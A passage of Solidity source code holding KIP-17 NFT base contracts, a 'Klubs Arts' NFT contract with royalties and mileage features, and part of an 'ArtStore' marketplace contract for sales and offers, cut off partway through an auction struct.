transferFrom(from, to, tokenId);
require(_checkOnKIP17Received(from, to, tokenId, _data), "KIP17: transfer to non KIP17Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "KIP17: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "KIP17: mint to the zero address");
require(!_exists(tokenId), "KIP17: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, "KIP17: burn of token that is not own");
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "KIP17: transfer of token that is not own");
require(to != address(0), "KIP17: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke `onKIP17Received` on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnKIP17Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
bool success;
bytes memory returndata;
if (!to.isContract()) {
return true;
}
// Logic for compatibility with ERC721.
(success, returndata) = to.call(
abi.encodeWithSelector(_ERC721_RECEIVED, msg.sender, from, tokenId, _data)
);
if (returndata.length != 0 && abi.decode(returndata, (bytes4)) == _ERC721_RECEIVED) {
return true;
}
(success, returndata) = to.call(
abi.encodeWithSelector(_KIP17_RECEIVED, msg.sender, from, tokenId, _data)
);
if (returndata.length != 0 && abi.decode(returndata, (bytes4)) == _KIP17_RECEIVED) {
return true;
}
return false;
}
/**
* @dev Private function to clear current approval of a given token ID.
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
/**
* @title KIP-17 Non-Fungible Token Standard, optional enumeration extension
* @dev See http://kips.klaytn.com/KIPs/kip-17-non_fungible_token
*/
contract IKIP17Enumerable is IKIP17 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
/**
* @title KIP-17 Non-Fungible Token with optional enumeration extension logic
* @dev See http://kips.klaytn.com/KIPs/kip-17-non_fungible_token
*/
contract KIP17Enumerable is KIP13, KIP17, IKIP17Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_KIP17_ENUMERABLE = 0x780e9d63;
/**
* @dev Constructor function.
*/
constructor () public {
// register the supported interface to conform to KIP17Enumerable via KIP13
_registerInterface(_INTERFACE_ID_KIP17_ENUMERABLE);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner), "KIP17Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract.
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens.
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply(), "KIP17Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
super._transferFrom(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
_addTokenToAllTokensEnumeration(tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_removeTokenFromOwnerEnumeration(owner, tokenId);
// Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
_ownedTokensIndex[tokenId] = 0;
_removeTokenFromAllTokensEnumeration(tokenId);
}
/**
* @dev Gets the list of token IDs of the requested owner.
* @param owner address owning the tokens
* @return uint256[] List of token IDs owned by the requested address
*/
function _tokensOfOwner(address owner) internal view returns (uint256[] storage) {
return _ownedTokens[owner];
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the _ownedTokensIndex mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by
// lastTokenId, or just over the end of the array if the token was the last one).
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
}
}
/**
* @title KIP-17 Non-Fungible Token Standard, optional metadata extension
* @dev See http://kips.klaytn.com/KIPs/kip-17-non_fungible_token
*/
contract IKIP17Metadata is IKIP17 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract KIP17Metadata is KIP13, KIP17, IKIP17Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_KIP17_METADATA = 0x5b5e139f;
/**
* @dev Constructor function
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to KIP17 via KIP13
_registerInterface(_INTERFACE_ID_KIP17_METADATA);
}
/**
* @dev Gets the token name.
* @return string representing the token name
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol.
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns an URI for a given token ID.
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "KIP17Metadata: URI query for nonexistent token");
return _tokenURIs[tokenId];
}
/**
* @dev Internal function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId), "KIP17Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = uri;
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
/**
* @title Full KIP-17 Token
* This implementation includes all the required and some optional functionality of the KIP-17 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see http://kips.klaytn.com/KIPs/kip-17-non_fungible_token
*/
contract KIP17Full is KIP17, KIP17Enumerable, KIP17Metadata {
constructor (string memory name, string memory symbol) public KIP17Metadata(name, symbol) {
// solhint-disable-previous-line no-empty-blocks
}
}
/**
* @title KIP17 Burnable Token
* @dev KIP17 Token that can be irreversibly burned (destroyed).
* See http://kips.klaytn.com/KIPs/kip-17-non_fungible_token
*/
contract KIP17Burnable is KIP13, KIP17 {
/*
* bytes4(keccak256('burn(uint256)')) == 0x42966c68
*
* => 0x42966c68 == 0x42966c68
*/
bytes4 private constant _INTERFACE_ID_KIP17_BURNABLE = 0x42966c68;
/**
* @dev Constructor function.
*/
constructor () public {
// register the supported interface to conform to KIP17Burnable via KIP13
_registerInterface(_INTERFACE_ID_KIP17_BURNABLE);
}
/**
* @dev Burns a specific KIP17 token.
* @param tokenId uint256 id of the KIP17 token to be burned.
*/
function burn(uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(msg.sender, tokenId), "KIP17Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is PauserRole {
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state. Assigns the Pauser role
* to the deployer.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
/**
* @title KIP17 Non-Fungible Pausable token
* @dev KIP17 modified with pausable transfers.
*/
contract KIP17Pausable is KIP13, KIP17, Pausable {
/*
* bytes4(keccak256('paused()')) == 0x5c975abb
* bytes4(keccak256('pause()')) == 0x8456cb59
* bytes4(keccak256('unpause()')) == 0x3f4ba83a
* bytes4(keccak256('isPauser(address)')) == 0x46fbf68e
* bytes4(keccak256('addPauser(address)')) == 0x82dc1ec4
* bytes4(keccak256('renouncePauser()')) == 0x6ef8d66d
*
* => 0x5c975abb ^ 0x8456cb59 ^ 0x3f4ba83a ^ 0x46fbf68e ^ 0x82dc1ec4 ^ 0x6ef8d66d == 0x4d5507ff
*/
bytes4 private constant _INTERFACE_ID_KIP17_PAUSABLE = 0x4d5507ff;
/**
* @dev Constructor function.
*/
constructor () public {
// register the supported interface to conform to KIP17Pausable via KIP13
_registerInterface(_INTERFACE_ID_KIP17_PAUSABLE);
}
function approve(address to, uint256 tokenId) public whenNotPaused {
super.approve(to, tokenId);
}
function setApprovalForAll(address to, bool approved) public whenNotPaused {
super.setApprovalForAll(to, approved);
}
function transferFrom(address from, address to, uint256 tokenId) public whenNotPaused {
super.transferFrom(from, to, tokenId);
}
}
contract Arts is Ownable, KIP17Full("Klubs Arts", "ARTS"), KIP17Burnable, KIP17Pausable {
using SafeMath for uint256;
event SetArtists(IArtists artists);
event SetBaseURI(string baseURI);
event SetExceptionalRoyalty(uint256 indexed id, uint256 royalty);
event MileageOn(uint256 indexed id);
event MileageOff(uint256 indexed id);
event Ban(uint256 indexed id);
event Unban(uint256 indexed id);
IArtists public artists;
constructor(IArtists _artists) public {
artists = _artists;
emit SetArtists(_artists);
}
function setArtists(IArtists _newArtists) external onlyOwner {
artists = _newArtists;
emit SetArtists(_newArtists);
}
string public baseURI = "https://api.klu.bs/arts/";
function setBaseURI(string calldata _baseURI) external onlyOwner {
baseURI = _baseURI;
emit SetBaseURI(_baseURI);
}
function tokenURI(uint256 tokenId) public view returns (string memory) {
require(_exists(tokenId), "KIP17Metadata: URI query for nonexistent token");
if (tokenId == 0) {
return string(abi.encodePacked(baseURI, "0"));
}
string memory idstr;
uint256 temp = tokenId;
uint256 digits;
while (temp != 0) {
digits += 1;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (tokenId != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(tokenId % 10)));
tokenId /= 10;
}
idstr = string(buffer);
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, idstr)) : "";
}
modifier artistWhitelist() {
require(artists.added(msg.sender) && !artists.banned(msg.sender));
_;
}
mapping(uint256 => address) public artToArtist;
mapping(address => uint256[]) public artistArts;
uint256 public mintCount;
function mint() public artistWhitelist {
uint256 id = mintCount;
_mint(msg.sender, id);
artToArtist[id] = msg.sender;
artistArts[msg.sender].push(id);
mintCount = mintCount.add(1);
}
function artistArtCount(address artist) external view returns (uint256) {
return artistArts[artist].length;
}
modifier onlyArtist(uint256 id) {
require(artToArtist[id] == msg.sender);
_;
}
/**
exceptionalRoyalties == 0 : follow baseRoyalty
exceptionalRoyalties == uint256(-1) : not follow baseRoyalty. use exceptioanlRoyalty and it is 0
0 < exceptionalRoyalties <= 1e3 : not follow baseRoyalty. use exceptioanlRoyalty and it is same with its value
*/
mapping(uint256 => uint256) public exceptionalRoyalties;
function setExceptionalRoyalties(uint256[] calldata ids, uint256[] calldata royalties) external {
require(ids.length == royalties.length);
for(uint256 i = 0; i < ids.length; i++) {
require(artToArtist[ids[i]] == msg.sender);
require(royalties[i] <= 1e3 || royalties[i] == uint256(-1)); // max royalty is 10%
exceptionalRoyalties[ids[i]] = royalties[i];
emit SetExceptionalRoyalty(ids[i], royalties[i]);
}
}
function royalties(uint256 id) external view returns (uint256) {
if(exceptionalRoyalties[id] == 0) {
return artists.baseRoyalty(artToArtist[id]);
} else {
return exceptionalRoyalties[id] == uint256(-1) ? 0 : exceptionalRoyalties[id];
}
}
mapping(uint256 => bool) public mileageMode;
function mileageOn(uint256 id) onlyArtist(id) external {
mileageMode[id] = true;
emit MileageOn(id);
}
function mileageOff(uint256 id) onlyArtist(id) external {
mileageMode[id] = false;
emit MileageOff(id);
}
mapping(uint256 => bool) private _banned;
function ban(uint256 id) onlyOwner external {
_banned[id] = true;
emit Ban(id);
}
function unban(uint256 id) onlyOwner external {
_banned[id] = false;
emit Unban(id);
}
function isBanned(uint256 id) external view returns (bool) {
return _banned[id] || artists.banned(artToArtist[id]);
}
function exists(uint256 tokenId) external view returns (bool) {
return _exists(tokenId);
}
}
contract ArtStore is Ownable, IArtStore {
using SafeMath for uint256;
struct ArtInfo {
uint256 id;
uint256 price;
}
uint256 public fee = 250;
address public feeReceiver;
uint256 public auctionExtensionInterval = 300;
IArtists public artists;
Arts public arts;
IMix public mix;
IMileage public mileage;
constructor(IArtists _artists, Arts _arts, IMix _mix, IMileage _mileage) public {
feeReceiver = msg.sender;
artists = _artists;
arts = _arts;
mix = _mix;
mileage = _mileage;
}
function setFee(uint256 _fee) external onlyOwner {
require(_fee < 9 * 1e3); //max 90%
fee = _fee;
}
function setFeeReceiver(address _receiver) external onlyOwner {
feeReceiver = _receiver;
}
function setAuctionExtensionInterval(uint256 interval) external onlyOwner {
auctionExtensionInterval = interval;
}
function setArtists(IArtists _artists) external onlyOwner {
artists = _artists;
}
function setArts(Arts _arts) external onlyOwner {
arts = _arts;
}
mapping(address => bool) public isBanned;
function banUser(address user) external onlyOwner {
isBanned[user] = true;
emit Ban(user);
}
function unbanUser(address user) external onlyOwner {
isBanned[user] = false;
emit Unban(user);
}
modifier userWhitelist(address user) {
require(!isBanned[user]);
_;
}
function batchTransfer(
uint256[] calldata ids,
address[] calldata to
) external userWhitelist(msg.sender) {
require(ids.length == to.length);
for (uint256 i = 0; i < ids.length; i++) {
require(!arts.isBanned(ids[i]));
arts.safeTransferFrom(msg.sender, to[i], ids[i]);
}
}
function removeSale(uint256 id) private {
if (checkSelling(id)) {
uint256 lastIndex = onSalesCount().sub(1);
uint256 index = onSalesIndex[id];
if (index != lastIndex) {
uint256 last = onSales[lastIndex];
onSales[index] = last;
onSalesIndex[last] = index;
}
onSales.length--;
delete onSalesIndex[id];
}
delete sales[id];
}
function removeAuction(uint256 id) private {
if (checkAuction(id)) {
uint256 lastIndex = onAuctionsCount().sub(1);
uint256 index = onAuctionsIndex[id];
if (index != lastIndex) {
uint256 last = onAuctions[lastIndex];
onAuctions[index] = last;
onAuctionsIndex[last] = index;
}
onAuctions.length--;
delete onAuctionsIndex[id];
}
delete auctions[id];
}
function distributeReward(
uint256 id,
address buyer,
address to,
uint256 amount
) private {
address artist = arts.artToArtist(id);
uint256 _fee;
uint256 _royalty;
uint256 _mileage;
if (arts.mileageMode(id)) {
if (artists.onlyKlubsMembership(artist)) {
uint256 mileageFromFee = amount.mul(mileage.onlyKlubsPercent()).div(1e4);
_fee = amount.mul(fee).div(1e4);
if (_fee > mileageFromFee) {
_mileage = mileageFromFee;
_fee = _fee.sub(mileageFromFee);
} else {
_mileage = _fee;
_fee = 0;
}
uint256 mileageFromRoyalty = amount.mul(mileage.mileagePercent()).div(1e4).sub(mileageFromFee);
_royalty = amount.mul(arts.royalties(id)).div(1e4);
if (_royalty > mileageFromRoyalty) {
_mileage = _mileage.add(mileageFromRoyalty);
_royalty = _royalty.sub(mileageFromRoyalty);
} else {
_mileage = _mileage.add(_royalty);
_royalty = 0;
}
} else {
_fee = amount.mul(fee).div(1e4);
_mileage = amount.mul(mileage.mileagePercent()).div(1e4);
_royalty = amount.mul(arts.royalties(id)).div(1e4);
if (_royalty > _mileage) {
_royalty = _royalty.sub(_mileage);
} else {
_mileage = _royalty;
_royalty = 0;
}
}
} else {
_fee = amount.mul(fee).div(1e4);
_royalty = amount.mul(arts.royalties(id)).div(1e4);
}
if (_fee > 0) mix.transfer(feeReceiver, _fee);
if (_royalty > 0) mix.transfer(artist, _royalty);
if (_mileage > 0) {
mix.approve(address(mileage), _mileage);
mileage.charge(buyer, _mileage);
}
mix.transfer(to, amount.sub(_fee).sub(_royalty).sub(_mileage));
removeSale(id);
removeAuction(id);
delete biddings[id];
}
struct Sale {
address seller;
uint256 price;
}
mapping(uint256 => Sale) public sales; //sales[id]
uint256[] public onSales;
mapping(uint256 => uint256) public onSalesIndex;
mapping(address => ArtInfo[]) public userSellInfo; //userSellInfo[seller]
mapping(uint256 => uint256) private userSellIndex; //userSellIndex[id]
function onSalesCount() public view returns (uint256) {
return onSales.length;
}
function userSellInfoLength(address seller) public view returns (uint256) {
return userSellInfo[seller].length;
}
function checkSelling(uint256 id) public view returns (bool) {
return sales[id].seller != address(0);
}
function sell(
uint256[] calldata ids,
uint256[] calldata prices
) external userWhitelist(msg.sender) {
require(ids.length == prices.length);
for (uint256 i = 0; i < ids.length; i++) {
require(!arts.isBanned(ids[i]));
require(prices[i] > 0);
require(arts.ownerOf(ids[i]) == msg.sender);
require(arts.isApprovedForAll(msg.sender, address(this)));
require(!checkSelling(ids[i]));
sales[ids[i]] = Sale({seller: msg.sender, price: prices[i]});
onSalesIndex[ids[i]] = onSales.length;
onSales.push(ids[i]);
uint256 lastIndex = userSellInfoLength(msg.sender);
userSellInfo[msg.sender].push(ArtInfo({id: ids[i], price: prices[i]}));
userSellIndex[ids[i]] = lastIndex;
emit Sell(ids[i], msg.sender, prices[i]);
}
}
function changeSellPrice(
uint256[] calldata ids,
uint256[] calldata prices
) external userWhitelist(msg.sender) {
require(ids.length == prices.length);
for (uint256 i = 0; i < ids.length; i++) {
Sale storage sale = sales[ids[i]];
require(sale.seller == msg.sender);
sale.price = prices[i];
userSellInfo[msg.sender][userSellIndex[ids[i]]].price = prices[i];
emit ChangeSellPrice(ids[i], msg.sender, prices[i]);
}
}
function removeUserSell(
address seller,
uint256 id
) internal {
uint256 lastSellIndex = userSellInfoLength(seller).sub(1);
uint256 sellIndex = userSellIndex[id];
if (sellIndex != lastSellIndex) {
ArtInfo memory lastSellInfo = userSellInfo[seller][lastSellIndex];
userSellInfo[seller][sellIndex] = lastSellInfo;
userSellIndex[lastSellInfo.id] = sellIndex;
}
userSellInfo[seller].length--;
delete userSellIndex[id];
}
function cancelSale(uint256[] calldata ids) external {
for (uint256 i = 0; i < ids.length; i++) {
address seller = sales[ids[i]].seller;
require(seller == msg.sender);
removeSale(ids[i]);
removeUserSell(seller, ids[i]);
emit CancelSale(ids[i], msg.sender);
}
}
function buy(
uint256[] calldata ids,
uint256[] calldata prices,
uint256[] calldata mileages
) external userWhitelist(msg.sender) {
require(ids.length == prices.length && ids.length == mileages.length);
for (uint256 i = 0; i < ids.length; i++) {
Sale memory sale = sales[ids[i]];
require(sale.seller != address(0) && sale.seller != msg.sender);
require(sale.price == prices[i]);
arts.safeTransferFrom(sale.seller, msg.sender, ids[i]);
mix.transferFrom(msg.sender, address(this), sale.price.sub(mileages[i]));
if(mileages[i] > 0) mileage.use(msg.sender, mileages[i]);
distributeReward(ids[i], msg.sender, sale.seller, sale.price);
removeUserSell(sale.seller, ids[i]);
emit Buy(ids[i], msg.sender, sale.price);
}
}
struct OfferInfo {
address offeror;
uint256 price;
uint256 mileage;
}
mapping(uint256 => OfferInfo[]) public offers; //offers[id]
mapping(address => ArtInfo[]) public userOfferInfo; //userOfferInfo[offeror]
mapping(uint256 => mapping(address => uint256)) private userOfferIndex; //userOfferIndex[id][user]
function userOfferInfoLength(address offeror) public view returns (uint256) {
return userOfferInfo[offeror].length;
}
function offerCount(uint256 id) external view returns (uint256) {
return offers[id].length;
}
function makeOffer(
uint256 id,
uint256 price,
uint256 _mileage
) external userWhitelist(msg.sender) returns (uint256 offerId) {
require(price > 0);
require(arts.ownerOf(id) != msg.sender);
require(!arts.isBanned(id));
if (userOfferInfoLength(msg.sender) > 0) {
ArtInfo storage _pInfo = userOfferInfo[msg.sender][0];
require(userOfferIndex[id][msg.sender] == 0 && _pInfo.id != id);
}
OfferInfo[] storage os = offers[id];
offerId = os.length;
os.push(OfferInfo({offeror: msg.sender, price: price, mileage: _mileage}));
mix.transferFrom(msg.sender, address(this), price.sub(_mileage));
if(_mileage > 0) mileage.use(msg.sender, _mileage);
uint256 lastIndex = userOfferInfoLength(msg.sender);
userOfferInfo[msg.sender].push(ArtInfo({id: id, price: price}));
userOfferIndex[id][msg.sender] = lastIndex;
emit MakeOffer(id, offerId, msg.sender, price);
}
function removeUserOffer(
address offeror,
uint256 id
) internal {
uint256 lastOfferIndex = userOfferInfoLength(offeror).sub(1);
uint256 offerIndex = userOfferIndex[id][offeror];
if (offerIndex != lastOfferIndex) {
ArtInfo memory lastOfferInfo = userOfferInfo[offeror][lastOfferIndex];
userOfferInfo[offeror][offerIndex] = lastOfferInfo;
userOfferIndex[lastOfferInfo.id][offeror] = offerIndex;
}
userOfferInfo[offeror].length--;
delete userOfferIndex[id][offeror];
}
function cancelOffer(
uint256 id,
uint256 offerId
) external {
OfferInfo[] storage os = offers[id];
OfferInfo memory _offer = os[offerId];
require(_offer.offeror == msg.sender);
delete os[offerId];
removeUserOffer(msg.sender, id);
mix.transfer(msg.sender, _offer.price.sub(_offer.mileage));
if(_offer.mileage > 0) {
mix.approve(address(mileage), _offer.mileage);
mileage.charge(msg.sender, _offer.mileage);
}
emit CancelOffer(id, offerId, msg.sender);
}
function acceptOffer(
uint256 id,
uint256 offerId
) external userWhitelist(msg.sender) {
OfferInfo[] storage os = offers[id];
OfferInfo memory _offer = os[offerId];
require(_offer.offeror != msg.sender);
arts.safeTransferFrom(msg.sender, _offer.offeror, id);
uint256 price = _offer.price;
delete os[offerId];
distributeReward(id, _offer.offeror, msg.sender, price);
removeUserOffer(_offer.offeror, id);
emit AcceptOffer(id, offerId, msg.sender);
}
struct AuctionInfo {
address seller;
uint256 startPrice;
uint256 endBlock;
}
